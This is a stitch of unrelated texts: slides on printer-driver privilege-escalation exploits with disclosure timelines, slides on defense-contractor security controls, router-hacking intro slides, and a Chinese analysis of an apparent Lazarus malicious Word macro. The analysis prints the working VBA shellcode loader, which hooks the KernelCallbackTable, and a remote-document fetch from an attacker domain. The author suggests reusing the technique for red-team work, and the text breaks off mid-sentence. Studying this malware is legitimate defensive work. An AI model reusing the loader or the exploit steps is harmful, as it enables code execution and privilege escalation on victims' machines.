C++ ● Bad ASCII art ● Three components: a. Server: Configuring the evil printer b. Client: Automates driver staging and privilege escalation c. DLL: The code to execute as SYSTEM 55 BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION ● Currently implements four LPE exploits ● All with silly names. Because names are fun. ○ CVE-2020-1300: SlashingDamage (Windows) ○ CVE-2019-19363: PoisonDamage (Ricoh) ○ CVE-2021-35449: AcidDamage (Lexmark) ○ ???: RadiantDamage (Canon) ● The last three supports local-only exploitation if the affected driver is in the driver store. 56 BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION SERVER 57 BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION CLIENT 58 BRING YOUR OWN PRINT DRIVER VULNERABILITY CONCEALED POSITION CLIENT IN ACTION 59 BRING YOUR OWN PRINT DRIVER VULNERABILITY CLIENT PRINTER WINAPI CALLS • Calls to the remote printer: • OpenPrinter • GetPrinterDriver • ClosePrinter • Local calls: • InstallPrinterDriverFromPackage • AddPrinter • DeletePrinter • ClosePrinter • Silent • No UI • No windows update 60 BRING YOUR OWN PRINT DRIVER VULNERABILITY WHY NOT POWERSHELL? • The following will introduce the driver to the driver store: AddPrinter -ConnectionName \\10.0.0.6\evilprinter • Invokes and gets stuck in Windows Update • Plus, I just like C++ 61 NEW DRIVER VULNERABILITIES 62 NEW DRIVER VULNERABILITIES CVE-2021-35449: ACIDDAMAGE • Lexmark Universal Printer Driver 2.15.1.0 and below • Reads attacker controlled configuration file from ProgramData to locate .dll • Attacker inserts a malicious dll to escalate to SYSTEM. 63 NEW DRIVER VULNERABILITIES CVE-2021-35449: ACIDDAMAGE • The Concealed Position implementation is here: https://github.com/jacob-baines/concealed_position/blob/main/src/cp_client/aciddamage.cpp • Metasploit pull request should exist at the time of presentation. Sorry! Challenges of recording weeks in advance. 64 NEW DRIVER VULNERABILITIES CVE-2021-35449: ACIDDAMAGE • Remember: Evil Printer Needs a CAB file • Just download 2.10.0.5 from the Update Catalog 65 NEW DRIVER VULNERABILITIES CVE-2021-35449: ACIDDAMAGE 66 NEW DRIVER VULNERABILITIES CVE-2021-35449: ACIDDAMAGE 67 NEW DRIVER VULNERABILITIES CVE-2021-35449: ACIDDAMAGE > dir /s /b /a-d > ../files.txt -- modify files.txt to include DestinationDir -- > makecab /D MaxDiskSize=268435456 /d “CabinetName1=LMUD1o40.cab” /f ../files.txt 68 NEW DRIVER VULNERABILITIES CVE-2021-??? RADIANTDAMAGE • Canon TR150 Driver 3.71.2.10 and below. • Successful attack escalates privileges to SYSTEM. 69 NEW DRIVER VULNERABILITIES CVE-2021-??? RADIANTDAMAGE • Similar to Ricoh vulnerability. Race condition to overwrite dll in C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 Series\LanguageModules\ • Harder to time than Ricoh vulnerability. 70 NEW DRIVER VULNERABILITIES CVE-2021-??? RADIANTDAMAGE 71 NEW DRIVER VULNERABILITIES CVE-2021-??? RADIANTDAMAGE 72 NEW DRIVER VULNERABILITIES CVE-2021-??? RADIANTDAMAGE > dir /s /b /a-d > ../files.txt > makecab /D MaxDiskSize=268435456 /d “CabinetName1=TR1506.cab” /f ../files.txt 73 NEW DRIVER VULNERABILITIES CVE-2021-???: RADIANTDAMAGE • Implementation can be found here: https://github.com/jacob-baines/concealed_position/blob/main/src/cp_client/radiantdamage.cpp • Metasploit pull request should exist at the time of presentation. Sorry! Challenges of recording weeks in advance. 74 DETECTION & MITIGATION 75 DETECTION EVENT ID 600 76 DETECTION EVENT ID 215 77 DETECTION SETUPAPI.DEV 78 DETECTION ON THE WIRE https://github.com/jacob-baines/concealed_position/tree/main/detection 79 DETECTION UNIQUE STRING • cp_client.exe has a 64 byte unique string embedded for detection: WVqtcQKfeIUxunX1jAadGwMiir5LacjHwN8tVl1Pr7AiwJnZCsik2TxHLZgGhErb • YARA rule in the detections subdirectory 80 MITIGATIONS • Patching might never be an option. • Search user driver stores for affected drivers and remove them. pnputil.exe /enum-drivers • GPO is useful here. Enable “Package Point and Print - Approved Servers” 81 DISCLOSURES & FUTURE WORK 82 DISCLOSURE • Similar disclosures sent to Lexmark, Canon, and Microsoft on 18 June 2021. • All were provided with descriptions of their specific issues. • All were given versions of concealed position. • All were informed of the 7 August 2021 disclosure date. 83 LEXMARK: DISCLOSURE TIMELINE • 18 June 2021: Disclosure sent to [email protected] • 18 June 2021: Lexmark acknowledges receipt • 21 June 2021: Lexmark confirms the issue • 21 June 2021: CVE request sent to MITRE • 30 June 2021: Ask MITRE again to assign CVE. • 30 June 2021: Lexmark provides beta patch for testing. • 1 July 2021: Inform Lexmark the beta patch addresses the issue. • 2 July 2021: Ask MITRE about the status of the CVE assignment. • 2 July 2021: CVE-2021-35449 is assigned and Lexmark is informed. • 6 July 2021: Emails are exchanged about credit in the advisory. • 13 July 2021: Lexmark shared a copy of their advisory to be released later in the week. 84 CANON: DISCLOSURE TIMELINE • 18 June 2021: Disclosure emailed to Canon PSIRT • 21 June 2021: Acknowledgement of receipt • 21-22 June 2021: Emails exchanged regarding the affected component. • 26 June 2021: Canon is asked for an update. • 29 June 2021: Canon states they will update shortly. • 1 July 2021: Canon is asked again for an update and to confirm the vulnerability. • 9 July 2021: Canon again asked for an update and to confirm the vulnerability. • 12 July 2021: Canon asks if a July 4 security patch fixes the issue. • 12 July 2021: Canon is told the patch has no effect on the reported vulnerability. Canon is asked if they have tried the proof of concept or if they are confused about the affected file path. • 12 July 2021: Canon acknowledges but doesn’t answer questions. 85 MICROSOFT: DISCLOSURE TIMELINE • 18 June 2021: Disclosure sent to Microsoft Security Response Center (MSRC) • 18 June 2021: MSRC send an automated acknowledgement • 18 June 2021: MSRC assigns a case ID • 1 July 2021: MSRC is asked for an update • 1 July 2021: MSRC indicates they are working to reproduce. • 1 July 2021: MSRC states they are having issues reproducing the issue. Ask a couple of questions. • 1 July 2021: MSRC is asked exactly where they are experiencing issues and if it is PoC configuration related. • 2 July 2021: MSRC restates questions. • 2 July 2021: MSRC is provided with answers • 4 July 2021: MSRC is provided with a clarification on MSAPI usage. • 8 July 2021: MSRC says they can’t reproduce because InstallPrinterDriverFromPackage requires admin privileges. • 8 July 2021: MSRC is informed that isn’t true for drivers in the driver store. MSRC is asked if a PoC video would help. • 8 July 2021: MSRC indicates a PoC video always helps. • 9 July 2021: MSRC is sent a PoC video and updated code. • 12 July 2021: MSRC acknowledges the issue. 86 FUTURE WORK • Many more drivers to analyze • Phase out use of CutePDF • USB NDIS Attack • Polish Concealed Position functionality THANK YOU!
pdf
An Inside Look Into Defense Industrial Base (DIB) Technical Security Controls: How Private Industry Protects Our Country's Secrets James Kirk Outline • Background • DOD Agency Responsible for Interpretation and Enforcement • Security Control Development • Document Drafting and Approval • Testing of Security Controls • Enforcement • The fun stuff… gaps in security controls Background/Disclaimer • What kind of data are we talking about? • National Industrial Security Program (NISP) Executive Order 12829 1. • National Industrial Security Program Policy Advisory Committee (NISPPAC) • National Industrial Security Program Operating Manual (NISPOM) 1. DoD 5220.22-M “National Industrial Security Program: Operating Manual.” DOD Agency Responsible for Interpretation and Enforcement • The Defense Security Service (DSS) • Agency Structure • Directorates (IS, CI, DISCO, and CDSE) • ODAA • Field Offices Basics of Certification and Accreditation (C&A) • What is C&A? 1., 2. • Certification • Accreditation • ISSP role • RDAA role • Enough background on the DSS, lets get into security controls 1. Industrial Security Field Operations (ISFO) Process Manual for the Certification and Accreditation Of Classified Systems under the National Industrial Security Program Operating Manual (NISPOM) and NIST 800-53. 2. Master System Security Plan (MSSP) Template for Peer-to-Peer Networks. Security Controls • Where do they originate from? • Linux controls 1. • Audit Areas 1./bin 2./usr/bin 3./etc 4./sbin 5./usr/sbin 6./var/audit 7./usr/local 8./opt 9./home 1. ISL 2007-01 Security Controls cont. • Linux cont. 1., 2. • DISA STIG vs NISPOM/DSS ISL 1. Standardization of Baseline Technical Security Configurations. 2. UNIX: Security Technical Implementation Guide. DISA STIG DSS NISPOM/ISL The SA will ensure audit data files have permissions of 640, or more restrictive. (2) Audit Trail Protection. The contents of audit trails shall be protected against unauthorized access, modification, or deletion. - Logon (unsuccessful and successful) and logout (successful) (b) Successful and unsuccessful logons and logoffs. - Process and session initiation (unsuccessful and successful) (a) Enough information to determine the date and time of action (e.g., common network time), the system locale of the action, the system entity that initiated or completed the action, the resources involved, and the action involved. - Discretionary access control permission modification (unsuccessful and successful use of chown/chmod) N/A - Unauthorized access attempts to files (unsuccessful) (c) Successful and unsuccessful accesses to security- relevant objects and directories, including creation, open, close, modification, and deletion. - Use of privileged commands (unsuccessful and successful) N/A - Use of print command (unsuccessful and successful) N/A - Export to media (successful) N/A - System startup and shutdown (unsuccessful and successful) N/A - Files and programs deleted by the user (successful and unsuccessful) N/A – Unless it’s considered a “Security Relevant Object” - All system administration actions (d) Changes in user authenticators. - All security personnel actions N/A 1. Standardization of Baseline Technical Security Configurations. 2. UNIX: Security Technical Implementation Guide. ISL 2009-01 and Windows Baseline Standards • ISL 2009-01 1. • Standardization of Baseline Technical Security Configurations – March 2009 • This process manual is not directive in nature, but adherence to the standards in this process manual by NISP contractors is recommended in order for DSS to be able to expeditiously issue Interim Approvals to Operate (IATO) and Approvals to Operate (ATO). • FISMA (NIST 800-53) - June 2011 • Linux left out (must be super secure on its own) 1. Standardization of Baseline Technical Security Configurations. ISFO Manual Updates (Summary of Changes) 1 • Finally 14 character passwords required for all systems and 60 day change reqs. • Patching is addressed now, in a semi-ambiguous way in section 5.2.8.1 • The ISSM will identify ISs containing software affected by recently announced software flaws (and potential vulnerabilities resulting from those flaws). The ISSM will install security-relevant software upgrades (e.g., patches, service packs, and hot fixes). Flaws discovered during security assessments, continuous monitoring, incident response activities, or information system error handling, are also addressed expeditiously. 1. ISFO Process Manual Revision 3: Summary of Changes. ISFO Manual Updates (Summary of Changes) 1 • USB Drives Addressed… sorta. • Audit requirements expanded on • 1. Enough information to determine the action involved, the date and time of the action, the system on which the action occurred, the system entity that initiated or completed the action, and the resources involved (if applicable). • 2. Successful and unsuccessful logins and logoffs. • 3. Unsuccessful accesses to security-relevant objects and directories. • 4. Changes to user authenticators. • 5. The blocking or blacklisting of a user ID, terminal, or access port. • 6. Denial of Access from an excessive number of unsuccessful login attempts. 1. ISFO Process Manual Revision 3: Summary of Changes. ISFO Manual Updates (Summary of Changes) cont. 1 • Security Seals… • Approved tamper-proof, pre-numbered seals should be used on hardware components (to include monitors and keyboards) anytime the hardware may be subject to access by uncleared personnel (i.e. used for periods-processing, or relocation). 1. ISFO Process Manual Revision 3: Summary of Changes. Document Drafting and Approval • ISFO Process Manual and Standardization Documents drafting • Linux document development, and its death. Security Setting Testing • Inadequate Labs • Test Resources Limited Enforcement • The Special Agent • The 0080 (Industrial Security Specialist) and 2210 Specialties (IT Specialist) • Training and authority • Subjectivity Enforcement cont. • Inspection selection and process • Size of facility and complexity • “Partners with Industry” • What happens if non-compliance Inadequate Controls - Windows • Patching 1. • USB • Virtual Environments • UAC • Admin actions not audited • Classified data not audited • Tamper Controls 1. Standardization of Baseline Technical Security Configurations. Inadequate Controls - *nix • Lack of expertise and training in agency leads to ostrich effect. 1. • Job listings do not require any Unix or Linux experience. • List is too long to list of files/services/versions that are not addressed. • Make it easy on themselves and use one of the configuration guides already in use. • Auditing Rules not required to be in use in Red Hat… really? 1. Standardization of Baseline Technical Security Configurations. Inadequate Controls- *nix cont. • Same issues affecting Windows, affect the Unix/Linux environment as well. 1. • Patching • USB • Virtualized Environments • Auditing • Tamper Controls 1. Standardization of Baseline Technical Security Configurations. Wrap-up • So… why the talk? • Education… how many actually know how the U.S. protects classified data at the collateral level? • Enlightenment • I think it’s important to bring issues that are detrimental to the nations security to the forefront. These issues have been brought up to the agency, and ignored. • STUXNET and Flame… References DoD 5220.22-M “National Industrial Security Program: Operating Manual.” Department of Defense: Under Secretary of Defense for Intelligence. (2006). “Industrial Security Field Operations (ISFO) Process Manual for the Certification and Accreditation Of Classified Systems under the National Industrial Security Program Operating Manual (NISPOM) and NIST 800-53.” Washington DC: Department of Defense: Defense Security Service. (2011). “ISFO Process Manual Revision 3: Summary of Changes.” Defense Security Service Office of the Designated Approving Authority. (2011). “ISL 2007-01.” Department of Defense: Defense Security Service, Industrial Security Program Office. (2007). “Master System Security Plan (MSSP) Template For Peer-to-Peer Networks.” Defense Security Service Office of the Designated Approving Authority. (2011). “SIPRNet Contractor Approval Process (SCAP).” Department of Defense: Office of the Designated Approving Authority. (2011). “Standardization of Baseline Technical Security Configurations.” Defense Security Service Office of the Designated Approving Authority. (2009). “UNIX: Security Technical Implementation Guide.” Defense Information Systems Agency. (2006).
pdf
Fun with SOHO Router 101 by Jhe@HITCON-CMT Who am I ? ● Jhe ● Co-founder of UCCU ● know a little ○ Web security ○ Binary exploitation ○ Parseltongue (python) Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router What is SOHO Router ● Small Office / Home Office ● functions ○ NAT, VPN, Dynamic DNS, ○ Port forwarding, Firewall, Wireless ○ DHCP, MAC filter, Remote Mgt. ○ Ad. block What is SOHO Router ● Small Office / Home Office ● functions ○ NAT, VPN, Dynamic DNS, ○ Port forwarding, Firewall, Wireless ○ DHCP, MAC filter, Remote Mgt. ○ Ad. block Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router Firmware overview Two ways to debug ● Hardware ○ JTAG, Serial / UART console … ● Software ○ Just download it from official website Firmware overview Two ways to debug ● Hardware ○ JTAG, Serial / UART console … ● Software ○ Just download it from official website Firmware overview ● File system ○ SquashFS, JFFS2, cramfs, YAFFS … ● Architecture ○ MIPS/MIPSEL,ARM,PPC,x86,x86-64 … ● Bootloader Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router Reversing engineering ● Static analysis ○ firmware extraction ○ reversing binary (IDA Pro … ) ○ something hardcode ○ open source code ○ known vulnerabilities Reversing engineering ● Dynamic analysis ○ firmware extraction ○ run with emulator(QEMU,Gdb,IDA Pro) ○ port scanning ○ Web security testing Reversing engineering Prerequisite ● binwalk ○ analysis, reverse engineering, extracting Reversing engineering Prerequisite ● binwalk ● fmk (firmware mod kit) ○ build firmware,unsquash,uncramfs … Reversing engineering Prerequisite ● binwalk ● fmk ● Linux Reversing engineering Extraction Reversing engineering Extraction Reversing engineering Extraction Reversing engineering Extraction Reversing engineering Extraction Reversing engineering Extraction Some of you may have this It is true But not that easy Example build emulation environment ● QEMU(arm, mips, mipsel) ● Cross-compilation Example repair runtime environment 1. run with QEMU 2. if ERROR_ECCURRED then function hijacking with LD_PRELOAD goto 1 Firmadyne ● System for emulation and dynamic analysis of Linux-based firmware ● Toolchain ● Console ● Nvram ● Testing with metasploit framework Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router Common vulnerabilities ● XSS, CSRF ● Command Injection ● Denial of Service ● Information Disclosure ● Weak / Default Password Common vulnerabilities ● Broken Authentication ● Buffer overflow ● Backdoor Common vulnerabilities ● Broken Authentication ● Buffer overflow ● Backdoor Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router Real world case BR_6430nS_v1.15 ● why this one ? Real world case BR_6430nS_v1.15 ● why this one ? ● short story Real world case BR_6430nS_v1.15 ● why this one ? ● short story Real world case BR_6430nS_v1.15 ● why this one ? ● short story Real world case BR_6430nS_v1.15 ● why this one ? ● short story Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Real world case Currently defined functions: arping, ash, basename, cat, chmod, cp, crond, cut, date, echo,ether-wake, expr, ftpput, grep, halt, head, httpd, ifconfig, init, ip, ipcalc, kill, Killall, linuxrc, ln, logread, ls, mkdir, mknod, mount, pidof, ping, poweroff, ps, reboot, rm, route, sh, sleep, syslogd, tail, tr, udhcpc, udhcpd, umount, wc, wget Real world case ● For debug == For hacker Real world case ● For debug == For hacker ● After that ? Real world case Shodan Real world case Censys Real world case Zoomeye Firmware overview Reversing engineering Common vulnerabilities Real world case UCCU What is SOHO Router UCCU problems you may encounter UCCU problems you may encounter ● different version, different output ? UCCU problems you may encounter ● different version, different output ? ● new stuff or old stuff ? You may have heard about ... You may have heard about ... This is just beginning ... IoT is coming ... ● SOHO Router IoT is coming ... ● SOHO Router ● Web Cam IoT is coming ... ● SOHO Router ● Web Cam ● Car IoT is coming ... ● SOHO Router ● Web Cam ● Car ● anything smart device IoT is coming ... ● SOHO Router ● Web Cam ● Car ● anything smart device ● anything Internet-connected Questions ?
pdf
一个很有意思的shellcode执行方式 前言 好久没更文了,最近事情比较多.在日常看样本的时候看到了一个Lazarus所使用的新型Macro植入物.其还 是该组织第一次使用的相关技术感觉比较少见而且很有意思。虽然技术不是一个很先进的技术但是在宏 的利用中却有一定的可能.还是可以多多学习用于RedTeam的工作中的 Macro宏分析 前面的导出声明部分: Private Declare PtrSafe Function WMCreateBackupRestorer Lib "Crypt32" _    Alias "CryptStringToBinaryW" (ByVal WmBckupParam1 As LongPtr, ByVal WmBckupParam2 As Long, ByVal WmBckupParam3 As LongPtr, ByVal WmBckupParam4 As LongPtr, ByVal WmBckupParam5 As LongPtr, ByVal WmBckupParam6 As LongPtr, ByVal WmBckupParam7 As LongPtr) As Long Private Const Play_Encd = &H4 Private Const Play_Decd_Rdh = &H20 Private Const Play_Encd_Dcd = &H40 Private Const WM_CERTSYNCREAD = &H1 #If Win64 Then Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _    Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As LongLong #Else Private Declare PtrSafe Function LoadPlaybackHD Lib "kernel32" _    Alias "LoadLibraryA" (ByVal LoadPlaybackHDSize As String) As Long #End If #If Win64 Then Private Declare PtrSafe Function WMvdspt Lib "kernel32" _    Alias "GetProcAddress" (ByVal WMvdsptParam1 As LongLong, ByVal WMvdsptParam2 As String) As LongPtr #Else Private Declare PtrSafe Function WMvdspt Lib "kernel32" _    Alias "GetProcAddress" (ByVal WMvdsptParam1 As Long, ByVal WMvdsptParam2 As String) As LongPtr #End If #If Win64 Then Private Declare PtrSafe Function WMVSDecd Lib "kernel32" _    Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As LongLong, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long Private Declare PtrSafe Sub WMVdspa Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As LongLong) 整理一下别名 执行的入口部分 通过 Frame1_Layout 执行宏的操作 #Else Private Declare PtrSafe Function WMVSDecd Lib "kernel32" _    Alias "VirtualProtect" (WMVSDecdParam1 As LongPtr, ByVal WMVSDecdParam2 As Long, ByVal WMVSDecdParam3 As Long, WMVSDecdParam4 As LongPtr) As Long Private Declare PtrSafe Sub WMVdspa Lib "ntdll" Alias "memcpy" (ByRef WMVdspaParam1 As Any, ByRef WMVdspaParam2 As Any, ByVal WMVdspaParam3 As Long) #End If #If Win64 Then Dim WMPlaybackHD As LongLong Dim WMPlaybackSC As LongLong Dim WMPlaybackRadd As LongLong #Else Dim WMPlaybackHD As Long Dim WMPlaybackSC As Long Dim WMPlaybackRadd As Long #End If Private Type WMSCRINFO    WmScrData1      As LongPtr    WmScrData2  As LongPtr    WmScrData3    As LongPtr    WmScrMeta1    As LongPtr    WmScrMeta2 As LongPtr    WmScrMeta3    As LongPtr End Type Private Declare PtrSafe Function WmScrEncd Lib "ntdll" Alias "NtQueryInformationProcess" ( _   ByVal StreamEncdIn1 As LongPtr, _   ByVal StreamEncdIn2 As Long, _   ByRef StreamEncdIn3 As WMSCRINFO, _   ByVal StreamEncdIn4 As Long, _   ByRef StreamEncdIn5 As Long _ ) As Integer WMCreateBackupRestorer --> CryptStringToBinaryW LoadPlaybackHD --> LoadLibraryA WMvdspt --> GetProcAddress WMVSDecd --> VirtualProtect WMVdspa --> memcpy WmScrEncd --> NtQueryInformationProcess Private Sub Frame1_Layout() On Error Resume Next WMPlaybackHD = LoadPlaybackHD("WMVCORE.DLL") Dim wmorder2 As Long Dim wmorder As Long Dim WMVSDecpro As Long #If Win64 Then WMPlaybackRadd = 8 wmorder2 = &H58 wmorder = &H10 WMVSDecpro = Play_Encd #Else WMPlaybackRadd = 4 wmorder2 = &H2C wmorder = &H8 WMVSDecpro = Play_Encd_Dcd #End If Dim WmEmptyData As LongPtr Dim Ret As Long Dim WMCreateFileSink As LongPtr Dim WMModifyFSink As LongPtr Dim capa As Long Dim wsi As WMSCRINFO Dim wmsct As LongPtr Dim wmflash As LongPtr Dim wmWnd As LongPtr WMPlaybackSC = 0 If WMIsAvailableOffline() = False Then    WMCreateFileSink = WMvdspt(WMPlaybackHD, "WMIsAvailableOffline")    Result = WmScrEncd(-1, 0, wsi, Len(wsi), capa)    WMVdspa wmsct, ByVal (wsi.WmScrData2 + wmorder2), WMPlaybackRadd    Ret = WMVSDecd(ByVal (WMCreateFileSink - 16), &H100000, Play_Encd, WmEmptyData)    wmflash = wmsct + wmorder    Ret = WMVSDecd(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)    WMModifyFSink = WMCreateFileSink    WMModifyFSink = WMCheckURLScheme1(WMModifyFSink)    WMModifyFSink = WMCheckURLScheme2(WMModifyFSink)    WMModifyFSink = WMCheckURLScheme3(WMModifyFSink)    WMVdspa ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd    Ret = WMVSDecd(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)    WMVdspa ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd    If ThisDocument.ReadOnly = False Then        WMCreateIndexer        ThisDocument.Save    End If End If Application.Documents.Open ("https://lm-career.com/careeroppr.docx") If ActiveDocument <> ThisDocument Then    ThisDocument.Close End If 在分析这些代码之前先把其他的一些函数进行分析 End Sub '防止多开 只运行一次 Private Function WMIsAvailableOffline() As Boolean On Error Resume Next If ThisDocument.Variables("WMCreateFileSink").Value <> "WMBackupSignal" Then    WMIsAvailableOffline = False Else    WMIsAvailableOffline = True End If End Function '执行shellcode后将WMCreateFileSink的的值设为WMBackupSignal Private Function WMCreateIndexer() On Error Resume Next ThisDocument.Variables.Add Name:="WMCreateFileSink" ThisDocument.Variables("WMCreateFileSink").Value = "WMBackupSignal" End Function 'CryptStringToBinaryW进行base64解码shellcode Private Function WMCheckURLScheme1(WMCreateFileSink As LongPtr) As LongPtr #If Win64 Then Dim MediaSection(2800) As String MediaSection(1) = "6w5fSIsfSIPvFUgD+//nw+jt////1AAAAAAAAADrAljD6Pn///9JbEhEWFBKK2xnYk5xUzFHUWUqMDV BZjV4R3VTTzVLSDZI" MediaSection(2) = "ZG5zckdEVUEqTlRCYVdxeHR3Y3BnWGVLZFVERno0cTJwV0NNS1Izcit4U3g3djBKcW1PSlcxWVNtZFR jZW5TQlJWa3dxQU9x" '.......省略(太长了) #Else #End If Dim NullPtr As LongPtr Dim NullLong As Long Dim MediaSectionLen As Long For idx = 1 To UBound(MediaSection) If CryptStringToBinaryW(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, 0, VarPtr(MediaSectionLen), 0, 0) Then If MediaSectionLen Then If CryptStringToBinaryW(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, WMCreateFileSink, VarPtr(MediaSectionLen), 0, 0) Then 'Private Const WM_CERTSYNCREAD = &H1(0x00000001) WMCreateFileSink = WMCreateFileSink + MediaSectionLen End If End If End If Next idx WMCheckURLScheme1 = WMCreateFileSink End Function 现在我们将一些其他的函数进行整理后 我们所得到了一些比较关键的函数 我们将其重命名后方便后面的 理解 整理一下入口代码: Dim NullPtr As LongPtr Dim NullLong As Long Dim MediaSectionLen As Long For idx = 1 To UBound(MediaSection) If CryptStringToBinaryW(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, 0, VarPtr(MediaSectionLen), 0, 0) Then If MediaSectionLen Then If CryptStringToBinaryW(StrPtr(MediaSection(idx)), Len(MediaSection(idx)), WM_CERTSYNCREAD, WMCreateFileSink, VarPtr(MediaSectionLen), 0, 0) Then 'Private Const WM_CERTSYNCREAD = &H1(0x00000001) WMCreateFileSink = WMCreateFileSink + MediaSectionLen End If End If End If Next idx WMCheckURLScheme1 = WMCreateFileSink 'WMCheckURLScheme1为base64解码后的shellcode WMCheckURLScheme1,WMCheckURLScheme2,WMCheckURLScheme3 --> DecodeBase64Shellcode WMCreateIndexer --> SetFlagAfterExecute WMIsAvailableOffline --> CheckRunningFlag Private Function WMIsAvailableOffline() As Boolean On Error Resume Next If ThisDocument.Variables("WMCreateFileSink").Value <> "WMBackupSignal" Then    WMIsAvailableOffline = False Else    WMIsAvailableOffline = True End If End Function Private Sub Frame1_Layout() On Error Resume Next WMPlaybackHD = LoadLibraryA("WMVCORE.DLL") '加载WMVCORE.dll Dim wmorder2 As Long Dim wmorder As Long Dim WMVSDecpro As Long #If Win64 Then WMPlaybackRadd = 8 wmorder2 = &H58 wmorder = &H10 WMVSDecpro = Play_Encd #Else WMPlaybackRadd = 4 wmorder2 = &H2C wmorder = &H8 WMVSDecpro = Play_Encd_Dcd #End If Dim WmEmptyData As LongPtr Dim Ret As Long Dim WMCreateFileSink As LongPtr Dim WMModifyFSink As LongPtr Dim capa As Long Dim wsi As WMSCRINFO Dim wmsct As LongPtr Dim wmflash As LongPtr Dim wmWnd As LongPtr WMPlaybackSC = 0 If CheckRunningFlag() = False Then    WMCreateFileSink = GetProcAddress(WMPlaybackHD, "WMIsAvailableOffline")    '导出函数WMIsAvailableOffline    Result = NtQueryInformationProcess(-1, 0, wsi, Len(wsi), capa)    memcpy wmsct, ByVal (wsi.WmScrData2 + wmorder2), WMPlaybackRadd    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Encd, WmEmptyData)    wmflash = wmsct + wmorder    Ret = VirtualProtect(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)    WMModifyFSink = WMCreateFileSink    WMModifyFSink = DecodeBase64Shellcode(WMModifyFSink)    WMModifyFSink = DecodeBase64Shellcode(WMModifyFSink) 其中比较核心的部分为:    WMModifyFSink = DecodeBase64Shellcode(WMModifyFSink)    memcpy ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)    memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd    If ThisDocument.ReadOnly = False Then        SetFlagAfterExecute        ThisDocument.Save    End If End If Application.Documents.Open ("https://lm-career.com/careeroppr.docx") '打开远程文件 https://lm-career.com/careeroppr.docx If ActiveDocument <> ThisDocument Then    ThisDocument.Close End If End Sub Private Const Play_Encd = &H4(4) Private Const Play_Decd_Rdh = &H20(32) Private Const Play_Encd_Dcd = &H40(64) WMPlaybackHD = LoadLibraryA("WMVCORE.DLL") '加载WMVCORE.dll Dim wmorder2 As Long Dim wmorder As Long Dim WMVSDecpro As Long #If Win64 Then WMPlaybackRadd = 8 wmorder2 = &H58(88) wmorder = &H10(16) WMVSDecpro = Play_Encd #Else WMPlaybackRadd = 4 wmorder2 = &H2C(44) wmorder = &H8(8) WMVSDecpro = Play_Encd_Dcd #End If Dim WmEmptyData As LongPtr Dim Ret As Long Dim WMCreateFileSink As LongPtr Dim WMModifyFSink As LongPtr Dim capa As Long Dim wsi As WMSCRINFO Dim wmsct As LongPtr Dim wmflash As LongPtr Dim wmWnd As LongPtr WMPlaybackSC = 0 首先是传递ProcessBasicInformation给NtQueryInformationProcess以获取PEB: PROCESS_BASIC_INFORMATION结构体如下: 根据偏移获取PebBaseAddress进而获取KernelCallbackTable: If CheckRunningFlag() = False Then    WMCreateFileSink = GetProcAddress(WMPlaybackHD, "WMIsAvailableOffline")    '导出函数WMIsAvailableOffline    Result = NtQueryInformationProcess(-1, 0, wsi, Len(wsi), capa)    memcpy wmsct, ByVal (wsi.WmScrData2 + wmorder2), WMPlaybackRadd    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Encd, WmEmptyData)    wmflash = wmsct + wmorder    Ret = VirtualProtect(ByVal (wmflash), WMPlaybackRadd, WMVSDecpro, WmEmptyData)    WMModifyFSink = WMCreateFileSink    WMModifyFSink = DecodeBase64Shellcode(WMModifyFSink)    WMModifyFSink = DecodeBase64Shellcode(WMModifyFSink)    WMModifyFSink = DecodeBase64Shellcode(WMModifyFSink)    memcpy ByVal (WMCreateFileSink - 16), ByVal (wmflash), WMPlaybackRadd    Ret = VirtualProtect(ByVal (WMCreateFileSink - 16), &H100000, Play_Decd_Rdh, WmEmptyData)    memcpy ByVal (wmflash), (WMCreateFileSink), WMPlaybackRadd    If ThisDocument.ReadOnly = False Then        SetFlagAfterExecute        ThisDocument.Save    End If End If Result = NtQueryInformationProcess(-1, 0, ProcessInformation, Len(ProcessInformation), capa) typedef struct _PROCESS_BASIC_INFORMATION {   NTSTATUS ExitStatus;   PPEB PebBaseAddress;   ULONG_PTR AffinityMask;   KPRIORITY BasePriority;   ULONG_PTR UniqueProcessId;   ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; memcpy KernelCallbackTable, ByVal (ProcessInformation.PebBaseAddress + KCT_Offset), WMPlaybackRadd 之后选择KernelCallbackTable中函数进行Hook: 替换的函数地址是之前获取到的WMIsAvailableOffline函数地址,但其内容已经被替换 当 user32.dll 加载到内存中时,KernelCallbackTable 被初始化为一个回调函数数组,每当进程进行图 